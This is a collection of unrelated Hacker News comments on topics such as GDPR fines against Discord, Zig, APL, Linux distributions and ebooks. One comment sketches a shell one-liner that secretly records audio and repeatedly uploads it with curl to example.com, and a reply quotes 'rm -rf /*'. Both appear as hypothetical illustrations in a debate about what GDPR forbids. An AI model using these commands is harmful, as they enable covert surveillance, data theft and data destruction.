skysight-inc/HackerNews huggingface dataset:
I think in theory it could, but something was definitely getting clogged in the optimizer. I'd see code like

"
a = A::new(...);

return a;
"

Create a on the stack, and immediately copy a into the stack region the caller was expecting it in. This seemed to get worse as struct size got larger, so I'm guessing there was so much IL the optimizer had to churn through it just gave up at some point.
Wasn't it msn messanger ?
Technically the Cnil is independent from the government.

https://www.cnil.fr/en/node/287
A friend recently gave me a printed copy of Legend of Drizzt. It was about 2 inches thick (3 books in 1), the printing was too small for my crappy eyes, lighting in my room at night is not great, and the printing went too close to the interior edge, all making it hard to read. So I bought a Kindle.

The Kindle worked much better. I got the Kindle Unlimited subscription at no extra cost for 3 months (then $10/mo afterwards), thinking I'd get access to any books on Amazon that were available in the Kindle format. You know, "Unlimited". Wrong! Kindle Unlimited means "whatever Kindle books Amazon wants to give you", not "Unlimited". They need to rename that to "Kindle Limited", "Kindle Picks", or whatever. Of course, this series was not part of KU.

I bought the first few books in the series, even though I already had the printed book, at $8/book, which is kinda pricey considering there are 36 books in the series, so it was going to cost ~$300 to read the whole thing. Then I found out I could download the books from the public library system. It's actually a pretty good model I think, because at least in Indiana, all of the public libraries are in a state-wide consortium, so there are about 5 copies of each book in the series available to "rent" for anyone in Indiana. And it's free.

The e-book business model of $8/book makes no sense to me, at least not for fiction. I don't want 36 already-read e-books sitting on my Kindle - it just junks things up. What I would like is to be able to take a photo of a book I already have, including the ISBN number, and get an electronic copy in my Kindle library for free. That would be so awesome, esp considering that as I get older, reading from a Kindle is way easier than dealing with a physical book.
It definitely makes it worth it if you merely risk but are not guaranteed to lose about as much as you underpaid and avoid compounding increases.
Venezuela, Cuba, Nicaragua, Honduras?, el salvador.., I don't know if those countries have extradition agreements with usa.
The real world enforcement would be for the EU to Freeze all money transfer from the EU to said company. essentially making it a cost only proposition for that company to keep trying to sell to European customers.

Sure shady people will dream up all sorts of fancy money laundering schemes to make it looks like there is no transfers but those are already illegal as fraud on both side of the Atlantic with potential jail times.

The EU don't have to block any content to efficiently enforce GDPR against US companies trying to market profitably in the EU.
It was Queeg's paranoia that was his downfall, not an insistence on excellence.
From what I understand Utilitarianism doesn't really have this problem. Why? Because if you say "if you do x a lot it causes bad thing y", well then that's a part of the utility function and the consequence. You only end up with absurdities if you actually don't think through it too far.
They "didn't get money from them", the EU is not some sort of criminal operation.

They fined them based on violations reported by users and Discord can contest this in a court of law.
Creator of Django did an ML project last year and has a lot of good insights - general web / programming know-how is really useful for building custom tooling to manage / observe datasets and things like that.

edit: forgot to include link :)

http://www.holovaty.com/writing/machine-learning-thoughts/
> They regularly contradict themselves and spout unlikely narratives. Asking relatively simple questions often show a lack of understanding.

Maybe not AGI, but perhaps we have already attained AGP (artificial general politician)
Only Solana, it goes down all the time anyways, it's just a buggy blockchain implementation.

I'm not saying that Binance is not fractional reserve, but this is not much news.
Provide a copy of your ZMK keymap file and a recommended build target alongside your software (lol)
> And tagged unions have to be at least the size of the largest variant, sometimes plus the tag (right? Or is that just true in rust?).

That's correct. If you have wildly different sizes, you can create a union of pointers. It will require you to manage the memory for the concrete implementation separately, but this way you will not waste space.

const Foo = union(enum) {
dog: *Dog,
cat: *Cat,
// ...
};

> With rust traits, to use the example in the post, when you define a function that takes an "Animal", it will basically generate a version of the function that takes a Cat, and one that takes a Dog, and double checks that Cat and Dog both have `talk` implementations. So the tradeoff is you get static dispatch with no wasted space in the data representation, at a cost of more code generation.

Yes, that post is specifically about the need for dynamic dispatch, in Zig you can get monomorphization like so:

fn makeAnimalTalk(animal: anytype) void {
// optionally use some metaprogramming to validate `animal`
// and produce a custom compile error when the trait is not
// fulfilled.

animal.talk(); // will work on any type that can be used like that
}
This makes me worried about LibGen. It would be an incredible loss to humanity to see these libraries go for good.
No, they got money from them for the other issues probably.
Lots of organizations and government agencies have already been fined because of these laws and lots of organizations comply with these laws. I work for a company that makes healthcare software solutions and we're fully compliant with the local GDPR laws.
Pretty confident in Fedora, even for new users.
Baen Books (https://www.baen.com/) is a publisher that only releases DRM free ebooks. They primarily publish scifi / fantasy books that you can buy from their site directly.
Seizing income originating from Europe, seizing payments to European companies seems obvious steps.

> Will I get arrested by the Polizei when I land in Berlin?

Maybe also this.

> Will the US force me to pay these fines?

I am also curious.
I've read a Russian translation (or, better to say, adaptation for children) when I was 10, and even in an adapted form this stuff is dark.

Also, Turin's story by Tolkien was clearly inspired by Kalevala.
Distributed programmable Turing machines are indeed very powerful. We're talking through a network of distributed programmable Turing machines right now. It does not involve a blockchain.
ADHD is real, it deeply damages people's lives and it is usually treatable with stimulants, with an unusual degree of effectiveness. My psychiatrist told me up front that his diagnostic process was not directed towards ADHD and that he might end up with some other diagnosis or none at all. In the end he diagnosed me with ADHD after a process of interviews, tests, evaluation of historical evidence, and submissions by my family regarding my life and behaviour. I have a fat file of the documentation involved.

You are talking about greedy irresponsible doctors and bad faith "patients".

These are not the same thing.
"The GNU APL interpreter is an (almost) complete implementation of ISO standard 13751 aka. Programming Language APL, Extended." [1]

GNU APL is closely following the APL2 standard [2], Dyalog has lots of (proprietary) extensions.

APL does not have its roots in the FOSS world, all the more the efforts to provide and maintain a powerful, free option here are to be supported. It is not self-evident that there are always free software alternatives available.

[1]: https://www.gnu.org/software/apl/

[2]: https://www.ibm.com/downloads/cas/ZOKMYKOY
Thr benefit of being able to find help online is a huge one. I use Ubuntu because ut just works for my use cases (VPS) and I can easily find issues/commands online if needed. Other distros, I m a bit wary. This doesn't apply if you are a Linux expert but most of us are just devs using Linux for hosting, deployments etc.
Something like:

nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done &

Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.
Enforced at port of entry (customs).
There's two things I find worth considering as maybe-wrong:

1) non-public investment opportunities in combination with tax-free status

2) no sanity threshold to collect some taxes after your Roth balance becomes large enough

1 is maybe a violation of the spirit of what a Roth was designed to be used for. You should be able to invest (cash only would be dumb), but you shouldn't get tax free returns for every kind of investment you make. Public shares might be tax free, but using the Roth for venture capital or private investing seems a little wrong.

2 is just silly to me, and I blame lawmakers for that. No one needs $5b tax free, especially since you can't ever reach that with contribution limits.
If (Money < MoneyNeeded){
Bailout = true
}
> When I click "X" I expect the application to exit as it did in Windows 1.0

X didn't appear until Windows 95.
Working for John Deere I can tell you that we are attempting to solve the problems right now. I can't speak for the company, but that we are working on it is public knowledge.
> The sequence `⌊.+` is an inner product chosen specifically to achieve this effect, with addition where multiplication would normally be, and ⌊ (min) where multiplication would normally be.

Sorry, it is early for me too. I am wondering if there is a mistake here. Do you mean that addition is where multiplication would be and min is where addition would be?

The regular inner product would be

C_ij := \sum_k A_ik B_kj

and the modified one is

C_ij := \min_k (A_ik + B_kj)

?
>Also, regulatory agencies mandating UI designs - while in this case fairly innocuous - leaves a bad taste in my mouth.

There are probably a bunch of regulations that dictate on what is in your car's cabin and how they work.
Yup, that’s what I took from discussing this with our tax accountants. The reason our UK ltd is taxed in the UK is that it does it’s business in the UK and our German business is served from the German GmbH which owns the UK ltd.
Not only should they get fined. They should also fix the problem.
Did you even read the article? C'mon, it's not hard, it's about 1 page long.
Finder seems mediocre for such a core app. Personally I like to use Path Finder most of the time.
Inlining (in the C/C++ sense of the term) is not always preferable.

On top of that, in this specific case, `inline` has a Zig-specific meaning that pertains to generics and metaprogramming in a way that has not much to do with the C/C++ use of the term.
It's supposed to do the echoing automatically.

Also, if I'm not confusing it with something else, it pretends it's able to "adapt" this to different things. Like, if you start compiling for dear life, it'll crank it up to performance.

I, personally, don't bother with these, I haven't seen much difference between those profiles on my laptops, neither on Windows or Linux (PM works fine on Linux for me, I get comparable battery life to Windows).
Solana Clobbered by FTX Crash
My suspicion is that only companies with significant business interests in the EU are targeted, investigated and fined. Otherwise they could just ignore it.
> people responsible for data systems are unaware of how other people in the company use their system. In some cases even the engineers using a system may not be able to understand what is happening because, according to a Meta engineer, ‘it is not possible for humans to understand’.

Sounds like a good way to hide a "Room 641A" situation from your own engineers...

https://en.wikipedia.org/wiki/Room_641A
Yes, this is true as long as the method or function doesn't contain if's changing the behaviour depending on the data. In other words if the problem is so well defined that you can create a method that solves the problem and it doesn't need to take into account x variations of the problem then it is fine. This is the copy-paste versus creating a function discussion. Problem is the x variations of the problem and you need the code to do different things depending on the variation, we usually break the modularity of the function instead of separating the generic and non-generic parts. Hence the ifs in the function. From what I have seen people are unable to do this in their own codebase properly so I don't think it will happen globally. But on the other hand libraries are kind of the answer to the problem and as problems get well defined, one starts using libraries. Raising the level of abstraction is a continuous process.
It is like shopping for a bottle of wine.
I posted this blog entry mostly for my own reference (I use my blog as a searchable index of all my findings, since Google is easier to use than any note taking app), and it always surprises me what makes it into HN vs what doesn't...

I think in this case it may have unintentionally riled up the "Ubuntu isn't what it used to be" sensibility that's prevalent among Linux users, but I see it more as an annoying little bug that will hopefully be fixed in stable releases soon... but until then, here's the workaround.
This definitely feels like a backronym.
Except for Discord, which actually closes the entire application on Alt-F4 instead of just the window.
The Little Cards That Tell Police 'Let's Forget This Ever Happened' (2020)
It must be one of the triumphs of capitalism that forcing employers to pay their workers what they're owed is considered a partisan action.
This used to be a very lucrative business back in the day.

https://www.houseofjoppa.com/blogs/news/relics-of-saints-wha...
Nevertheless Chinese government can start seizing your assets in China and transfers from or to you where other participant is in China.

And arrest you in case of visiting place within Chinese jurisdiction.

Unfun fact: there were multiple cases of people getting arrested after plane performed unexpected emergency landing in a country where landing was not planned. Both where arrest was justified and where it was not.
No, there aren't that many lobbyists, just average Europeans that finished their cup of Flavor-Aid.
I saw this in a comment by
drewrv on another submission: https://news.ycombinator.com/item?id=33616641
Jack of all trades, master of none. I don't think it's bad at all: at least you can specialise at something (quicker) whenever the need arises.
Focusing on anything besides the happy path requires the approval and support to do so from other teams and their respective management and QA.

No, they'd rather not coordinate any of that and just play the blame game.

Many workplaces employing software engineers are actively hostile towards any kind of engineering. I have a very hard time believing anyone writing code is sloppy on purpose. Incentives are often very misaligned. These are pretty much always organizational problems.

Instead of immediately blaming software engineers, you should consider questioning whether it ever makes sense to have non-technical leadership in charge of them. Most places where "real" engineering is done don't have idiots at the wheel.
don't agree, now you can get 100TFLOPS and this is cool
Fedora is my "Just Works" distribution of choice as of 36.

I haven't upgraded to 37 (which just came out).
In reality, you can't. Since the fourier transform was designed for a continuous signal, it needs some modifications to tailor it to work in a digital world where, instead of a continuous signal, you periodically sample the waveform at regular intervals and use the discrete fourier transform (DFT) or its more efficient little brother, the fast fourier transform (FFT). Both these work off N samples of the waveform at a time.
I have also found issues with Ubuntu 22.04. From my perspective the Distro was released a bit early and still seems like beta. I find Ubuntu 20 way more stable and still a better fit for most users at this point.
Qualcomm statement regarding AOM licensing shenanigans wrt AV1 [pdf]
Despite integrating AV1 into their newest upcoming chipset, Qualcomm seems to be not all too interested in the associated licensing obligations.
The only time I see APL is each year during Advent of Code – https://adventofcode.com/ – APL users always pop up and manage to solve the most complex of tasks with about ten symbols versus everyone else's 50 lines of Python :-)
Can you elaborate on "escape the castle system"?
Maybe you’ll be the person to creat a store like that.

In my experience this stuff can be sourced on the cheap at tech flea markets, local classifieds and ebay, shopgoodwill, etc sites.

There are some stores that sell retro consoles along with comic books and stuff like that, although they tend to charge a premium

retro computers in a store I think is pretty rare, I haven't seen it personally
Not sure about Discord, but this would be extremely weird behavior. The extremely clear convention on Windows is that Alt+F4 closes the currently focused window, not more, no less.

Whether closing the current window should close the application or not depends on many things, but having different behavior between Alt+F4 and the window close button would be very strange.
Polish Pixels: Polish video games retro archive
I imagine that's a complicated question. Do people remotely controlling weapons naturally make the same kind of decisions as those looking right at people?
Something worth noting that a lot of comments are ignoring here: while this fine is coming from the EU, these kinds of data protection rules are _everywhere_ now - this is no longer really EU-specific.

The reality is that it's not an US companies vs EU data protection law battle - it's US companies vs data protection laws in the comfortable majority of all other developed nations. The EU, UK, Switzerland, Canada, Brazil, Israel, South Korea, Argentina, Japan, New Zealand, Indonesia, Uraguay, etc, all have substantial data protection legislation. The EU has an published list of countries whose data protection laws are considered equivalent to GDPR: https://ec.europa.eu/info/law/law-topic/data-protection/inte...

While it's the EU fining Discord in this case, presumably the equivalent laws in each of those countries would also come to similar conclusions everywhere else too (though so far it seems the EU has more political appetite and clout to press the issue).

There's no world where Discord or other major US companies can pull out of the EU and keep following these practices, even if that was worthwhile. To avoid having to implement data protection practices, they'd have to drop the vast majority of all international users (and in Discord's case, https://www.similarweb.com/website/discordapp.com/#traffic suggests the US is currently <30% of their user base, so that's just not happening).
As a Jason, you get used to it.
Fedoras inside Qubes is perfect. The worst that could possibly happen is a partial restore, with no data loss.
Semantic Code Search – code search using SentenceTransformers
That was the idea behind cops carrying tasers. The reality wound up being that cops still use guns in the situations where lethal force was previously warranted, but they go for the taser in situations they'd previously have had to non-violently deescalate.
>"The theory proposes six foundations: Care/Harm, Fairness/Cheating, Loyalty/Betrayal, Authority/Subversion, Sanctity/Degradation, and Liberty/Oppression.[6][5] Its authors remain open to the addition, subtraction, or modification of the set of foundations.[2]"
Praxis Master Plan
This was my experience with adderall in college, as someone who I don’t think suffers from these conditions.
Huh. You are right. Alt+F4 closes the application, clicking the X closes the window. Kinda inconsistent.
Most typing in the world today is done on virtual keyboards on touchscreens.

I’ve always hoped someone would make an APL for iOS and Android. The code density and use of symbols seems like a good fit for small touchscreens.
My educated guess is detecting humans/children in places where they shouldn't be. Sending a tractor across a field controlling everything is easy - tractors have been doing this for more than 25 years. Detecting something that shouldn't be there and not killing it is hard, which is why all tractors that do this have some form of sensor to ensure someone is in the tractor. There are a few other issues similar to the above.

I work for John Deere, I can't speak for the company.
Never seen ‘such a complete failure’ of corporate controls, says new FTX CEO
Discord does close the entire application on Alt-F4 instead of just the window, it's quite weird.
But it’s a chat application, those messages aren’t owned by just the user that authored them. Even if a user deletes their account I should be able to go back in my chat history and find their messages and know it was them.

It would be stupid if someone closing their cellular account would somehow reach into my phone and delete their contact, their messages, and replace their phone number with all zeros and this is semantically the same, the implementation shouldn’t matter.

If you send a message to a group chat those messages are now owned collectively by the group and individually by each member, the gpdr is forcing companies to delete my data because someone else asked to delete theirs.
Dune: A Science of Discontent
> that's enough for a GDPR violation I guess?

No, you would also need to run on computers of people not understanding what is going on.

In the same way as running

> rm -rf /*

on computers of people not understanding what is going on (or not agreeing to it) and where you are not allowed to do so is illegal, for quite good reasons.
>Surely this would have lower productivity than having one day or two days of weekend unless we are to believe weekends don't have a rejuvinating effect.

This seems to land in the area of untested hypothesis. Sure, we can speculate on all kinds of mechanisms. I could speculate that by going to 3 day weekends would lead to a bigger "rejuvination effect" and more productivity. But the data gathered from my org showed the opposite. Productivity went down. And now management had a lot of pushback to just get back to their baseline (more productive) schedule.

Now I'm willing to concede that it's going to be different industry to industry. It may very well work well in SWE and I think we see a lot of that bias in tech-centric circles. I also think it’s an error to assume it holds for most industries. My example was from an R&D area and not strictly software engineering. Do you, for example, think your doctors office would have more patient throughput if they went down to 4 eight-hour days? Or manufacturing? I'd be skeptical until I see the data. And I concede that a lot of work cultural differences also matter. And leadership matters. My original post was not claiming some definitive answer, just giving some pause to the sentiment that reduced hours is a generalizable rule to increase productivity*. I think a lot of people let their cognitive biases get the best of them and run with the idea.

* I also think "productivity" is the wrong way to frame the problem. Some things, like work-life balance, are a net good and worth a hit on productivity. The economy should serve society and not the other way around.
Well, you can give them the link to The Song of Hiawatha, largely inspired by Kalevala

https://www.youtube.com/watch?v=r9b_VTW4FSE
... and HN makes me truncate titles to 80 characters.